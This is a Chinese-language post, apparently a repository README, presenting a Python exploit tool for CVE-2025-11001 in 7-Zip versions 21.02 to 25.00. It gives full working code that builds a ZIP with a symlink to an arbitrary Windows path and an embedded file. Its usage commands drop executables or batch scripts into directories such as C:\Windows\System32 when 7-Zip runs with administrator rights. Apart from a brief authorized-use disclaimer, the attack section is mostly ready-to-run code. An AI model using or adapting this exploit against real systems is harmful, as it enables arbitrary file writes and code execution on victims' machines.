7-Zip CVE-2025-11001漏洞利用工具
CVE-2025-11001 漏洞利用工具
这是一个针对CVE-2025-11001漏洞的Python利用工具。该漏洞影响7-Zip 21.02至25.00版本,允许攻击者通过特制的ZIP文件在具有管理员权限的7-Zip中实现任意文件写入。
功能特性
- 自动化漏洞利用:自动生成包含符号链接的特制ZIP文件
- 灵活配置:可自定义目标路径、输出文件名和数据文件
- 精确控制:支持自定义顶层目录和链接名称
- 跨平台兼容:基于Python开发,可在多平台运行
- 安全测试:专为安全研究和渗透测试设计
安装指南
系统要求
- Python 3.6 或更高版本
- 操作系统:Windows、Linux 或 macOS
- 无需额外依赖包,使用Python标准库
安装步骤
- 克隆或下载项目
git clone <repository-url>
cd 7zip-exploit-tool
- 验证Python环境
python --version
- 工具准备就绪
无需编译或安装,直接运行Python脚本即可。
使用说明
基础使用示例
# 基本用法:创建一个指向桌面的符号链接,并嵌入calc.exe文件
python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe
命令行参数详解
| 参数 | 简写 | 描述 | 示例 |
|---|---|---|---|
--zip-out |
-o |
输出ZIP文件路径 | -o exploit.zip |
--symlink-target |
-t |
符号链接指向的目标路径(Windows格式) | -t "C:\Windows\System32" |
--data-file |
-f |
要嵌入的本地文件路径 | -f payload.exe |
--dir-name |
顶层目录名称(默认:data) | --dir-name folder |
|
--link-name |
顶层目录下的符号链接名称(默认:link_in) | --link-name symlink |
典型使用场景
- 安全测试
# 测试向系统目录写入文件
python3 exploit.py -t "C:\Windows\System32" -o test.zip -f test.exe
- 自定义目录结构
# 使用自定义目录和链接名称
python3 exploit.py -t "C:\ProgramData" -o custom.zip -f script.bat --dir-name malware --link-name entry
漏洞利用条件
重要注意事项:
- 仅影响Windows平台
- 7-Zip必须以管理员权限运行
- 受影响的7-Zip版本:21.02 - 25.00
- 漏洞详情请参阅技术博客
核心代码
主执行脚本 (exploit.py)
import argparse
import os
import time
import zipfile
def add_dir(z, arcname):
"""
向ZIP文件中添加目录条目
参数:
z: ZipFile对象
arcname: 归档中的目录路径
"""
if not arcname.endswith('/'):
arcname += '/'
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3 # Unix系统标识
zi.external_attr = (0o040755 << 16) | 0x10 # 目录权限属性
zi.compress_type = zipfile.ZIP_STORED # 不压缩
z.writestr(zi, b'') # 写入空内容作为目录
def add_symlink(z, arcname, target):
"""
向ZIP文件中添加符号链接
参数:
z: ZipFile对象
arcname: 归档中的符号链接路径
target: 符号链接指向的目标路径
"""
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3 # Unix系统标识
zi.external_attr = (0o120777 << 16) # 符号链接权限属性
zi.compress_type = zipfile.ZIP_STORED # 不压缩
z.writestr(zi, target.encode('utf-8')) # 写入目标路径作为链接内容
def add_file_from_disk(z, arcname, src_path):
"""
从磁盘读取文件并添加到ZIP
参数:
z: ZipFile对象
arcname: 归档中的文件路径
src_path: 源文件的本地路径
"""
with open(src_path, 'rb') as f:
payload = f.read() # 读取文件内容
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3 # Unix系统标识
zi.external_attr = (0o100644 << 16) # 普通文件权限属性
zi.compress_type = zipfile.ZIP_STORED # 不压缩
z.writestr(zi, payload) # 写入文件内容
def main():
"""
主函数:解析参数并创建特制ZIP文件
"""
parser = argparse.ArgumentParser(
description="Crafts a zip that exploits CVE-2025-11001."
)
parser.add_argument(
"--zip-out", "-o",
required=True,
help="Path to the output ZIP file."
)
parser.add_argument(
"--symlink-target", "-t",
required=True,
help="Destination path the symlink points to - specify a \"C:\" path"
)
parser.add_argument(
"--data-file", "-f",
required=True,
help="Path to the local file to embed e.g an executable or bat script."
)
parser.add_argument(
"--dir-name",
default="data",
help="Top-level directory name inside the ZIP (default: data)."
)
parser.add_argument(
"--link-name",
default="link_in",
help="Symlink entry name under the top directory (default: link_in)."
)
args = parser.parse_args()
# 构建ZIP中的路径结构
top_dir = args.dir_name.rstrip("/")
link_entry = f"{top_dir}/{args.link_name}"
embedded_name = os.path.basename(args.data_file)
file_entry = f"{link_entry}/{embedded_name}"
# 创建ZIP文件并添加内容
with zipfile.ZipFile(args.zip_out, "w") as z:
add_dir(z, top_dir) # 添加顶层目录
add_symlink(z, link_entry, args.symlink_target) # 添加符号链接
add_file_from_disk(z, file_entry, args.data_file) # 添加数据文件
print(f"Wrote {args.zip_out}")
if __name__ == "__main__":
main()
工具设计解析
该工具通过以下三个核心函数构建特制ZIP文件:
add_dir():创建目录条目,设置Unix风格的目录权限add_symlink():创建符号链接,指向用户指定的目标路径add_file_from_disk():将本地文件嵌入到ZIP中
漏洞原理:利用7-Zip在处理包含符号链接的ZIP文件时的缺陷,当7-Zip以管理员权限运行时,会创建符号链接并写入文件到符号链接指向的位置,从而实现任意文件写入。
安全建议:该工具仅用于安全研究和授权测试,使用时请确保遵守相关法律法规和道德准则。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码


浙公网安备 33010602011771号